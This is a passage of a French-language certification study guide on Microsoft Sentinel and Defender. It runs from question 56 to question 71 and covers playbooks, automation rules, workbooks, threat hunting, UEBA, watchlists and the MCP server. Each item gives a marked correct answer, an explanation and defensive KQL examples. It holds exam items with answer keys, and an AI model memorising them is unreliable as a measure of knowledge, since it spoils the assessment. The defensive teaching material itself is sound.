- **C.** Un classeur visualise des données ; il ne crée pas de liste de contrôle suivie dans l'incident.

**Explication technique**

Les tâches sont visibles dans la table SecurityIncident (champ Tasks) pour le suivi. Elles complètent les procédures documentées (runbooks) et facilitent l'audit de la réponse. Dans le portail Defender, la gestion des cas propose aussi des tâches de cas.

**Point à retenir pour l'examen :** Liste de contrôle par type d'incident = tâches d'incident ajoutées par règle d'automatisation.

**Référence officielle**

- Utiliser des tâches pour gérer les incidents dans Microsoft Sentinel dans le Portail Azure — https://learn.microsoft.com/fr-fr/azure/sentinel/incident-tasks
- Automatiser la réponse aux menaces dans Microsoft Sentinel avec des règles d'automatisation — https://learn.microsoft.com/fr-fr/azure/sentinel/automate-incident-handling-with-automation-rules

## Question n° 56 — Playbook sur une entité pendant la chasse

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Intermédiaire

**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Pendant une chasse, un analyste identifie une adresse IP malveillante dans les résultats et veut la bloquer immédiatement sur le pare-feu via un playbook existant, sans créer d'incident. Quel déclencheur le playbook doit-il utiliser ?

**A.** Le déclencheur « Recurrence ».

**B.** Le déclencheur Microsoft Sentinel « entité » (entity trigger), exécutable manuellement sur une entité IP.

**C.** Aucun : les playbooks ne peuvent être lancés que par des règles d'automatisation.

**D.** Le déclencheur « incident ».

**Bonne réponse : B**

**Correction détaillée**

Le **déclencheur d'entité** permet d'exécuter un playbook **à la demande** sur une entité (IP, compte, hôte, URL, hachage...) depuis la page d'investigation, la page d'entité ou les résultats de chasse.

**Analyse des réponses incorrectes**

- **A.** Il ne reçoit aucune entité de l'analyste.
- **C.** Les playbooks peuvent être exécutés manuellement sur un incident, une alerte ou une entité.
- **D.** Il nécessite un incident, ce qui n'est pas le cas ici.

**Explication technique**

L'exécution manuelle requiert le rôle **Microsoft Sentinel Playbook Operator** (ou supérieur) sur le groupe de ressources du playbook. L'action de blocage elle-même dépend des connecteurs Logic Apps du pare-feu (API du fabricant).

**Point à retenir pour l'examen :** Action ponctuelle sur une entité sans incident = playbook à déclencheur « entité », exécuté manuellement.

**Référence officielle**

- Déclencheurs et actions pris en charge dans les playbooks Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/automation/playbook-triggers-actions
- Chasse aux menaces dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/hunting

## Question n° 57 — Exécuter un playbook sur les alertes Defender for Cloud

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Avancé

**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Vous souhaitez lancer automatiquement un playbook Sentinel pour chaque alerte Defender for Cloud ingérée, y compris lorsque l'alerte ne génère pas d'incident. Quelle configuration est appropriée dans Sentinel ?

**A.** Une règle d'automatisation avec le déclencheur « Lorsqu'une alerte est créée », filtrée sur le fournisseur d'alertes, qui exécute un playbook à déclencheur d'alerte.

**B.** Une règle d'automatisation « Lorsqu'un incident est créé ».

**C.** Une règle NRT qui appelle la Logic App par HTTP.

**D.** Un classeur Defender for Cloud.

**Bonne réponse : A**

**Correction détaillée**

Le déclencheur **« Lorsqu'une alerte est créée »** des règles d'automatisation exécute des playbooks à **déclencheur d'alerte**, indépendamment de la création d'incidents. On filtre sur le fournisseur (Defender for Cloud) ou sur des règles d'analyse.

**Analyse des réponses incorrectes**

- **B.** Elle ne se déclenche pas si aucune alerte ne crée d'incident.
- **C.** Les règles d'analyse n'appellent pas d'URL ; on passe par l'automatisation.
- **D.** Un classeur ne déclenche pas d'actions.

**Explication technique**

Côté Defender for Cloud, l'**automatisation des workflows** (workflow automation) peut aussi lancer une Logic App sur les alertes, recommandations ou changements de conformité réglementaire, sans passer par Sentinel. Le choix dépend de l'endroit où l'orchestration est centralisée.

**Point à retenir pour l'examen :** Action sur chaque alerte (même sans incident) = règle d'automatisation « alerte créée » + playbook à déclencheur d'alerte.

**Référence officielle**

- Automatiser la réponse aux menaces dans Microsoft Sentinel avec des règles d'automatisation — https://learn.microsoft.com/fr-fr/azure/sentinel/automate-incident-handling-with-automation-rules
- Automatiser les réponses de remédiation dans Microsoft Defender for Cloud — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/workflow-automations

## Question n° 58 — Automatisation des incidents dans le portail Defender

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Avancé

**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Après la connexion de Sentinel au portail Defender, une règle d'automatisation qui filtrait sur le titre exact des incidents (« Incident – Règle X ») ne se déclenche plus. Quelle est la cause la plus probable ?

**A.** Les incidents Sentinel ne sont plus enregistrés dans SecurityIncident.

**B.** Les règles d'automatisation sont désactivées dans le portail Defender.

**C.** Les règles d'automatisation ne peuvent plus lancer de playbooks dans le portail Defender.

**D.** Le moteur de corrélation Defender XDR peut renommer les incidents et en modifier la composition ; les conditions fondées sur le titre de l'incident ne sont plus fiables et doivent être remplacées par des conditions sur la règle d'analyse, les alertes ou les balises.

**Bonne réponse : D**

**Correction détaillée**

Dans le portail Defender, la création et le **nommage des incidents** sont gérés par la corrélation Defender XDR, qui peut fusionner des alertes et attribuer un titre décrivant l'attaque. Microsoft recommande de revoir les règles d'automatisation qui s'appuient sur le **titre** ou le **fournisseur d'incident**, et de privilégier des conditions sur le **nom de la règle d'analyse**, les **noms d'alertes**, les **balises** ou les entités.

**Analyse des réponses incorrectes**

- **A.** Les incidents restent synchronisés avec l'espace Sentinel.
- **B.** Elles restent prises en charge.

- **C.** Les playbooks restent pris en charge.

**Explication technique**

Vérifiez aussi les playbooks dont la logique dépend du nombre d'alertes d'un incident. La documentation « Automatisation Microsoft Sentinel dans le portail Defender » liste les différences de comportement.

**Point à retenir pour l'examen :** Portail Defender : ne pas baser l'automatisation sur le titre des incidents ; utiliser règle d'analyse, alertes, balises.

**Référence officielle**

- Microsoft Sentinel dans le portail Microsoft Defender — https://learn.microsoft.com/fr-fr/azure/sentinel/microsoft-sentinel-defender-portal
- Automatiser la réponse aux menaces dans Microsoft Sentinel avec des règles d'automatisation — https://learn.microsoft.com/fr-fr/azure/sentinel/automate-incident-handling-with-automation-rules

## Question n° 59 — Synchronisation avec un outil ITSM

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Intermédiaire

**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Le SOC doit créer automatiquement un ticket ServiceNow pour chaque incident de gravité élevée et inscrire le numéro de ticket dans un commentaire de l'incident Sentinel. Quelle solution est la plus adaptée ?

**A.** Exporter manuellement chaque incident en CSV.

**B.** Un classeur qui exporte les incidents vers ServiceNow.

**C.** Un playbook Logic Apps (déclencheur incident) utilisant le connecteur ServiceNow, lancé par une règle d'automatisation filtrée sur la gravité élevée, qui ajoute ensuite un commentaire à l'incident.

**D.** Une règle d'analyse NRT sur la table SecurityIncident.

**Bonne réponse : C**

**Correction détaillée**

Les **playbooks** reposent sur **Azure Logic Apps** et ses centaines de connecteurs (ServiceNow, Jira, Teams, Outlook, pare-feu...). Lancés par une règle d'automatisation, ils créent le ticket puis utilisent l'action Sentinel « Ajouter un commentaire à l'incident ».

**Analyse des réponses incorrectes**

- **A.** Non automatisé et source d'erreurs.
- **B.** Les classeurs ne créent pas de tickets.
- **D.** Une règle d'analyse génère des alertes ; elle ne crée pas de tickets externes.

**Explication technique**

Des solutions du hub de contenu fournissent des playbooks ITSM prêts à l'emploi, parfois bidirectionnels (fermeture du ticket → fermeture de l'incident). Pour la bidirectionnalité, un déclencheur côté ITSM ou un webhook est nécessaire.

**Point à retenir pour l'examen :** Intégration ITSM = playbook Logic Apps + règle d'automatisation ; Logic Apps fournit les connecteurs.

**Référence officielle**

- Automatiser la réponse aux menaces avec des playbooks dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/automation/automate-responses-with-playbooks
- Qu'est-ce qu'Azure Logic Apps ? — https://learn.microsoft.com/fr-fr/azure/logic-apps/logic-apps-overview

## Question n° 60 — Interruption automatique d'attaque et automatisation Sentinel

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Intermédiaire

**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Quelle différence fondamentale existe entre l'interruption automatique d'attaque (automatic attack disruption) de Defender XDR et un playbook Sentinel ?

**A.** L'interruption automatique nécessite d'écrire un playbook Logic Apps pour chaque scénario.

**B.** L'interruption automatique est une capacité intégrée de Defender XDR qui contient automatiquement des actifs compromis (appareil, utilisateur) lors d'attaques à haute confiance, alors qu'un playbook est un workflow Logic Apps conçu et maintenu par le SOC.

**C.** L'interruption automatique ne concerne que Defender for Cloud.

**D.** Les playbooks sont toujours plus rapides car ils s'exécutent sur le terminal.

**Bonne réponse : B**

#### Correction détaillée

L'**interruption automatique d'attaque** identifie, grâce à la corrélation XDR, des attaques en cours (rançongiciel opéré par l'humain, compromission de messagerie professionnelle, AiTM) et applique automatiquement des actions de confinement (par exemple **contenir l'appareil**, **désactiver/contenir l'utilisateur**). Les playbooks Sentinel sont des automatisations personnalisées.

#### Analyse des réponses incorrectes

- **A.** Elle fonctionne nativement, sans playbook.
- **C.** Elle concerne Defender XDR (terminaux, identités, messagerie, applications cloud).
- **D.** Les playbooks s'exécutent dans Azure, pas sur le terminal.

#### Explication technique

L'interruption requiert une configuration adéquate (MDE en mode bloc, MDI, niveaux d'automatisation adaptés, exclusions éventuelles). Les actions sont visibles dans le Centre de notifications (Action center) et l'incident porte une étiquette « Attack Disruption ». Le SOC doit ensuite investiguer et lever le confinement lorsque c'est sûr.

> **Point à retenir pour l'examen :** Attack disruption = confinement natif automatique Defender XDR ; playbook = automatisation personnalisée Logic Apps.

#### Référence officielle

- Interruption automatique des attaques dans Microsoft Defender — https://learn.microsoft.com/fr-fr/defender-xdr/automatic-attack-disruption
- Automatiser la réponse aux menaces avec des playbooks dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/automation/automate-responses-with-playbooks

## 1.7 Classeurs, chasse, UEBA, watchlists et data lake

### Question n° 61 — Créer un classeur à partir d'un modèle

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Débutant
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Un analyste ouvre le modèle de classeur « Microsoft Entra ID Sign-in logs » installé depuis le hub de contenu et souhaite le personnaliser. Quelle démarche est correcte ?

**A.** Enregistrer le modèle (« Save ») pour créer une copie dans l'espace de travail, puis modifier cette copie.

**B.** Exporter le classeur en PDF et le modifier hors ligne.

**C.** Convertir le classeur en règle d'analyse.

**D.** Modifier directement le modèle ; les changements sont publiés pour tous les clients.

**Bonne réponse : A**

**Correction détaillée**

Les **classeurs** (workbooks) Sentinel reposent sur Azure Monitor Workbooks. Un **modèle** s'enregistre pour créer un classeur dans l'espace, que l'on peut ensuite modifier (requêtes KQL, paramètres, visualisations).

**Analyse des réponses incorrectes**

- **B.** L'export PDF ne permet pas de modifier les requêtes.
- **C.** Un classeur visualise des données, ce n'est pas une règle de détection.
- **D.** Un modèle n'est pas modifiable directement ; on travaille sur une copie enregistrée.

**Explication technique**

Rôles : Microsoft Sentinel Contributor (ou Workbook Contributor) pour enregistrer/modifier ; Reader pour consulter. Les classeurs peuvent combiner des requêtes sur plusieurs espaces, des paramètres (période, abonnement) et des visualisations (tableaux, graphiques, cartes). Dans le portail Defender, des classeurs peuvent aussi être créés et édités avec l'aide de Copilot, et des classeurs existent pour le data lake.

**Point à retenir pour l'examen :** Modèle de classeur → « Save » pour obtenir une copie modifiable.

**Référence officielle**

- Visualiser et surveiller vos données à l'aide de classeurs dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/monitor-your-data

## Question n° 62 — Paramètre de période dans un classeur

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Intermédiaire

**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Dans un classeur, vous voulez que toutes les requêtes utilisent la période choisie par l'utilisateur dans un sélecteur placé en haut. Quelle approche est correcte ?

**A.** Créer une règle d'automatisation qui modifie les requêtes.

**B.** Utiliser une watchlist contenant les dates.

**C.** Créer un paramètre de type « Time range picker » (par exemple TimeRange) et utiliser ce paramètre dans les requêtes, par exemple `where TimeGenerated {TimeRange}` ou en le sélectionnant comme intervalle de la requête.

**D.** Ajouter `ago(7d)` en dur dans chaque requête.

**Bonne réponse : C**

**Correction détaillée**

Les **paramètres** de classeur (période, liste déroulante, texte, abonnement…) sont référencés dans les requêtes par `{NomParametre}`. Pour la période, la syntaxe `{TimeRange}` dans une clause `where` (ou le réglage de l'intervalle de la requête sur le paramètre) applique la sélection de l'utilisateur.

**Analyse des réponses incorrectes**

- **A.** Les règles d'automatisation n'agissent pas sur les classeurs.
- **B.** Une watchlist n'est pas un contrôle d'interface de classeur.
- **D.** La période serait fixe et le sélecteur sans effet.

**Explication technique**

Les paramètres peuvent être chaînés (une liste d'utilisateurs alimentée par une requête dépendant de la période). Les éléments du classeur peuvent être affichés conditionnellement selon la valeur d'un paramètre.

**Point à retenir pour l'examen :** Classeur interactif = paramètres `{NomParametre}` ; période = Time range picker.

**Référence officielle**

- Visualiser et surveiller vos données à l'aide de classeurs dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/monitor-your-data

## Question n° 63 — Requêtes de chasse et bookmarks

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Débutant
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %)

**Énoncé :** Lors d'une chasse, un analyste trouve trois événements suspects qu'il souhaite conserver comme preuves, annoter, puis éventuellement rattacher à un incident. Quelle fonctionnalité utiliser ?

**A.** Les tâches d'incident.

**B.** Les détails personnalisés.

**C.** Les watchlists.

**D.** Les signets (bookmarks) de chasse.

**Bonne réponse : D**

**Correction détaillée**

Les **signets** conservent des résultats de requête (lignes), avec notes, balises et **mappage d'entités**. Ils peuvent être **ajoutés à un incident existant** ou servir à **créer un incident**, et apparaissent dans le graphe d'investigation.

**Analyse des réponses incorrectes**

- **A.** Ce sont des listes de contrôle de procédure.
- **B.** Ils se configurent dans une règle d'analyse.
- **C.** Elles stockent des listes de référence, pas des résultats de requête annotés.

**Explication technique**

Les signets sont stockés dans la table HuntingBookmark. Les **requêtes de chasse** (bibliothèque intégrée et personnalisées) affichent le nombre de résultats et les tactiques MITRE ; elles peuvent être exécutées en masse. La fonctionnalité **Hunts** organise une campagne de chasse (hypothèse, requêtes, signets, conclusions).

**Point à retenir pour l'examen :** Conserver et annoter des preuves de chasse = signets (bookmarks), rattachables à un incident.

**Référence officielle**

- Chasse aux menaces dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/hunting
- Effectuer le suivi des données pendant la chasse avec Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/bookmarks

## Question n° 64 — Mener une campagne de chasse structurée

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Intermédiaire
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %)

**Énoncé :** Suite à un rapport d'analyse des menaces sur un nouvel acteur, le SOC veut organiser une chasse : formuler une hypothèse, regrouper les requêtes, suivre l'état et documenter les conclusions. Quelle fonctionnalité Sentinel est conçue pour cela ?

**A.** Les chasses (Hunts) de Microsoft Sentinel.

**B.** Les classeurs uniquement.

**C.** Les règles d'automatisation.

**D.** Les optimisations SOC.

**Bonne réponse : A**

**Correction détaillée**

La fonctionnalité **Hunts** permet de créer une chasse avec une **hypothèse**, d'y associer des **requêtes**, des **signets** et des **entités**, de suivre son **statut** et de consigner les résultats (création d'incidents ou de règles d'analyse à partir des requêtes efficaces).

**Analyse des réponses incorrectes**

- **B.** Un classeur peut visualiser des données mais ne gère pas le cycle de vie d'une chasse.
- **C.** Elles agissent sur les incidents et alertes, pas sur la chasse.
- **D.** Elles recommandent des améliorations de données et de couverture, pas l'organisation d'une chasse.

**Explication technique**

Démarche recommandée : hypothèse → collecte des données → requêtes → analyse → conclusions → industrialisation (règle d'analyse, règle de détection personnalisée). Les **notebooks** complètent la chasse pour les analyses avancées (Python, ML, visualisations).

**Point à retenir pour l'examen :** Chasse structurée (hypothèse, requêtes, signets, conclusions) = Hunts.

**Référence officielle**

- Mener une chasse proactive de bout en bout aux menaces dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/hunts
- Chasse aux menaces dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/hunting

## Question n° 65 — Activer l'UEBA

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Intermédiaire
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Le SOC veut bénéficier des scores de priorité d'investigation et des pages d'entités enrichies de l'analyse du comportement des utilisateurs et des entités (UEBA). Quelles étapes sont nécessaires ?

**A.** Créer une règle planifiée nommée « UEBA ».

**B.** Activer l'UEBA dans les paramètres de Sentinel, synchroniser l'annuaire (Microsoft Entra ID et éventuellement Active Directory via Defender for Identity) et sélectionner les sources de données (par exemple journaux de connexion, journaux d'audit, Azure Activity, événements de sécurité).

**C.** Installer un agent UEBA sur chaque poste.

**D.** Acheter une licence Defender for Endpoint Plan 2.

**Bonne réponse : B**

**Correction détaillée**

L'**UEBA** s'active dans **Paramètres > Analyse du comportement des entités** : on choisit les **annuaires** à synchroniser (Entra ID, AD via MDI) et les **sources de données** analysées. Sentinel construit des profils de référence et calcule des anomalies.

**Analyse des réponses incorrectes**

- **A.** L'UEBA s'active dans les paramètres, ce n'est pas une règle d'analyse.
- **C.** L'UEBA de Sentinel est un service d'analyse des journaux, sans agent dédié.
- **D.** L'UEBA de Sentinel ne dépend pas de MDE P2.

**Explication technique**

Résultats : tables **BehaviorAnalytics** (activités enrichies avec **InvestigationPriority** de 0 à 10, ActivityInsights, UsersInsights, DevicesInsights), **IdentityInfo** (informations d'identité), **UserPeerAnalytics**, et pages d'entités enrichies. Les anomalies UEBA nourrissent aussi Fusion.

**Point à retenir pour l'examen :** UEBA = paramètre à activer + synchronisation d'annuaire + sources ; résultats dans BehaviorAnalytics et IdentityInfo.

### Référence officielle

- Activer l'analyse du comportement des utilisateurs et des entités (UEBA) dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/enable-entity-behavior-analytics
- Détection avancée des menaces avec l'analyse du comportement des utilisateurs et des entités (UEBA) dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/identify-threats-with-entity-behavior-analytics

## Question n° 66 — Exploiter BehaviorAnalytics

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Avancé

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %)

**Énoncé :** Vous voulez lister, sur 7 jours, les activités utilisateur que l'UEBA juge les plus inhabituelles, avec une priorité d'investigation d'au moins 7. Quelle requête est correcte ?

**A.**

REQUÊTE KQL

```
BehaviorAnalytics
| where TimeGenerated > ago(7d)
| where InvestigationPriority == "High"
```

**B.**

REQUÊTE KQL

```
IdentityInfo
| where TimeGenerated > ago(7d)
| summarize count() by AccountUPN
```

**C.**

REQUÊTE KQL

```
BehaviorAnalytics
| where TimeGenerated > ago(7d)
| where InvestigationPriority >= 7
| project TimeGenerated, UserPrincipalName, ActivityType, ActionType, SourceIPAddress,
InvestigationPriority, ActivityInsights
| order by InvestigationPriority desc
```

**D.**

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(7d)
| where RiskLevelDuringSignIn == "high"
| project TimeGenerated, UserPrincipalName, IPAddress
```

**Bonne réponse : C**

### Correction détaillée

La table **BehaviorAnalytics** contient les activités enrichies par l'UEBA, avec **InvestigationPriority** (0–10) et des colonnes dynamiques d'analyse (**ActivityInsights**, UsersInsights, DevicesInsights) expliquant ce qui est inhabituel (première connexion depuis un pays, action rare dans le groupe de pairs…).

### Analyse des réponses incorrectes

- **A.** InvestigationPriority est un score numérique (0 à 10), pas une chaîne « High ».
- **B.** IdentityInfo décrit les identités (groupes, rôles, service) ; elle ne contient pas de priorité d'investigation.
- **D.** Cette requête utilise le risque Entra ID Protection, pas les priorités calculées par l'UEBA de Sentinel.

### Explication technique

Un score élevé n'est pas une alerte : c'est un signal pour prioriser l'investigation et la chasse. On peut combiner BehaviorAnalytics avec SecurityAlert pour enrichir les incidents, ou utiliser les insights (`ActivityInsights.FirstTimeUserConnectedFromCountry`) comme filtres.

**Point à retenir pour l'examen :** UEBA → BehaviorAnalytics.InvestigationPriority (0–10) et colonnes *Insights.

### Référence officielle

- sources de données et enrichissements de schémas Microsoft Sentinel user and Entity Behavior Analytics (UEBA) — https://learn.microsoft.com/fr-fr/azure/sentinel/ueba-reference
- BehaviorAnalytics — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/behavioranalytics

## Question n° 67 — Watchlist d'actifs critiques

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Intermédiaire

**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Vous gérez une liste de 200 serveurs critiques (nom et propriétaire) régulièrement mise à jour par l'équipe infrastructure. Vous voulez augmenter la gravité des détections qui concernent ces serveurs. Quelle approche est la plus adaptée ?

**A.** Importer la liste comme watchlist et l'utiliser dans les requêtes des règles via `_GetWatchlist('alias')`, par exemple pour joindre sur le nom d'hôte et ajuster la gravité.

**B.** Créer 200 règles d'automatisation.

**C.** Placer les serveurs dans un groupe de ressources dédié.

**D.** Saisir les 200 noms en dur dans chaque règle.

**Bonne réponse : A**

### Correction détaillée

Les **watchlists** importent des données de référence (CSV, jusqu'à une taille documentée ; Azure Storage pour les grands fichiers) consultables en KQL avec ** `_GetWatchlist('alias')` **, qui renvoie notamment la colonne** SearchKey** (clé de recherche choisie à l'import).

### Analyse des réponses incorrectes

- **B.** Disproportionné et difficile à maintenir.
- **C.** L'emplacement Azure n'est pas exploitable par les requêtes pour des serveurs locaux.
- **D.** Maintenance lourde et sujette aux erreurs.

### Explication technique

Cas d'usage : actifs critiques, comptes VIP, plages IP de confiance, comptes de service, listes d'exclusion (faux positifs connus), terminaux en fin de vie. Des modèles de watchlists existent (VIP Users, High Value Assets…). Les watchlists se mettent à jour par le portail ou l'API, ce qui rend les règles plus maintenables.

### Exemple pratique

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```kql
let critiques = _GetWatchlist('ServeursCritiques') | project DeviceName = tolower(SearchKey);
SecurityEvent
| where TimeGenerated > ago(1h)
| where EventID == 4625
| extend DeviceName = tolower(Computer)
| join kind=inner critiques on DeviceName
| summarize Echecs = count() by Computer, TargetUserName
```

**Point à retenir pour l'examen :** Données de référence évolutives (VIP, actifs critiques, exclusions) = watchlist + `_GetWatchlist('alias')`.

### Référence officielle

- Listes de surveillance dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/watchlists

## Question n° 68 — Jupyter notebooks et MSTICPy

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Intermédiaire
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %)

**Énoncé :** Un chasseur souhaite appliquer un algorithme de clustering Python sur des données de connexion, enrichir les adresses IP par des sources externes et produire des visualisations avancées. Quel outil de Sentinel convient le mieux ?

**A.** Les règles NRT.

**B.** Les notebooks Jupyter (avec la bibliothèque MSTICPy, ou les notebooks du data lake Sentinel exécutés sur des pools Spark).

**C.** Les règles d'automatisation.

**D.** Les watchlists.

**Bonne réponse : B**

### Correction détaillée

Les **notebooks** offrent un environnement Python pour l'analyse avancée : machine learning, enrichissement (TI, géolocalisation, WHOIS), visualisations (chronologies, graphes). **MSTICPy** fournit des fonctions dédiées à la sécurité (requêtes Sentinel, pivots, enrichissement). Les **notebooks du data lake** s'exécutent sur la copie unique des données du lac et peuvent être planifiés (jobs de notebooks) pour promouvoir des résultats vers le niveau Analytics.

### Analyse des réponses incorrectes

- **A.** Elles exécutent des requêtes KQL de détection, pas des analyses Python.
- **C.** Elles n'exécutent pas de code d'analyse de données.
- **D.** Elles stockent des listes de référence.

### Explication technique

Le référentiel cite « Chasser les menaces à l'aide de notebooks, y compris la connexion au serveur Sentinel MCP ». Les notebooks du data lake s'utilisent notamment depuis Visual Studio Code avec l'extension Microsoft Sentinel.

**Point à retenir pour l'examen :** Analyses Python/ML et visualisations avancées = notebooks (MSTICPy ; notebooks du data lake sur Spark).

### Référence officielle

- Notebooks Jupyter avec les fonctionnalités de repérage de Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/notebooks
- Notebooks Jupyter et lac de données Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/datalake/notebooks-overview

## Question n° 69 — Serveur MCP de Microsoft Sentinel

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Intermédiaire
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %)

**Énoncé :** Une équipe veut interroger les données de sécurité de Sentinel en langage naturel depuis un client compatible (par exemple Visual Studio Code ou Security Copilot) et construire des agents d'automatisation. Quelle capacité de Sentinel répond à ce besoin ?

**A.** Le connecteur Syslog via AMA.

**B.** L'API HTTP Data Collector.

**C.** Une watchlist contenant des questions types.

D. Le serveur MCP (Model Context Protocol) de Microsoft Sentinel, hébergé et authentifié par Microsoft Entra, qui expose des collections d'outils (exploration de données, triage, création d'agents).

**Bonne réponse : D**

**Correction détaillée**

Le **serveur MCP de Microsoft Sentinel** est une interface **entièrement hébergée** (aucune infrastructure à déployer) qui utilise **Microsoft Entra** pour l'identité. Il fournit des **collections d'outils orientées scénarios** (exploration des données, triage, création d'agents, outils personnalisés) utilisables depuis des clients compatibles MCP.

**Analyse des réponses incorrectes**

- **A.** Connecteur d'ingestion de journaux.
- **B.** API d'ingestion historique, sans rapport avec l'interrogation en langage naturel.
- **C.** Une watchlist est une table de référence.

**Explication technique**

Le référentiel 2026 inclut la chasse via notebooks avec connexion au serveur MCP et l'investigation à l'aide d'IA agentique. Les accès restent soumis aux autorisations de l'utilisateur ; les requêtes générées doivent être relues par l'analyste (validation humaine).

**Point à retenir pour l'examen :** Serveur MCP Sentinel = interface hébergée, authentifiée par Entra, exposant des outils de sécurité aux agents et clients IA.

**Référence officielle**

- Quelle est la prise en charge par Microsoft Sentinel du protocole MCP (Model Context Protocol) ? — https://learn.microsoft.com/fr-fr/azure/sentinel/datalake/sentinel-mcp-overview
- Collection d'outils dans Microsoft Sentinel serveur MCP — https://learn.microsoft.com/fr-fr/azure/sentinel/datalake/sentinel-mcp-tools-overview

## Question n° 70 — Graphe Microsoft Sentinel et rayon d'impact

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Intermédiaire
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %)

**Énoncé :** Après la compromission d'un compte d'administrateur, le RSSI demande : « Quelles ressources cet attaquant pourrait-il atteindre ? ». Quelle capacité fournit cette analyse de rayon d'impact sous forme de relations entre entités ?

A. Le graphe Microsoft Sentinel (et le graphe de chasse dans la chasse avancée), qui modélise utilisateurs, appareils, ressources et activités sous forme de nœuds et d'arêtes.

B. Une règle NRT.

C. La table Usage.

D. Le tableau de bord du Secure Score.

**Bonne réponse : A**

**Correction détaillée**

Le **graphe Microsoft Sentinel** représente l'environnement sous forme de **nœuds et d'arêtes** (identités, appareils, ressources cloud, flux de données, actions des attaquants). Il répond à des questions difficiles à traiter avec des tables : que se passe-t-il si ce compte est compromis, quel est le **rayon d'impact** (blast radius) d'un document ou d'un utilisateur.

**Analyse des réponses incorrectes**

- **B.** Une règle de détection produit des alertes, pas une cartographie de relations.
- **C.** Elle mesure les volumes ingérés.
- **D.** Il mesure la posture globale sans calculer les chemins d'accès d'une entité.

### Explication technique

Dans le portail Defender, le **graphe de chasse** (hunting graph) de la chasse avancée visualise ces relations de manière interactive (chemins, points d'étranglement) ; selon la documentation, il nécessite un accès au data lake Sentinel et au moins un accès en lecture à Microsoft Security Exposure Management. Le référentiel cite « Créer des graphes de chasse, y compris le rayon d'impact » et « Analyser les relations entre entités à l'aide de Sentinel Graph ».

**Point à retenir pour l'examen :** Rayon d'impact et relations entre entités = graphe Sentinel / graphe de chasse.

### Référence officielle

- Qu'est-ce que le graphe Microsoft Sentinel ? — https://learn.microsoft.com/fr-fr/azure/sentinel/datalake/sentinel-graph-overview
- Rechercher les menaces à l'aide du graphique de chasse — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-graph

## Question n° 71 — Modèle d'information ASIM

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Avancé
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %)

**Énoncé :** Votre organisation collecte des authentifications depuis Entra ID, des serveurs Windows, des VPN Fortinet et des serveurs Linux. Vous voulez écrire une seule règle de détection de force brute applicable à toutes ces sources. Quelle approche utiliser ?

**A.** Convertir toutes les sources en Syslog.

**B.** Utiliser les analyseurs ASIM du schéma Authentication (par exemple `_Im_Authentication`), qui normalisent les champs (TargetUsername, SrcIpAddr, EventResult...) de toutes les sources.

**C.** Utiliser uniquement la table SigninLogs.

**D.** Écrire une règle par source et les fusionner avec Fusion.

**Bonne réponse : B**

### Correction détaillée

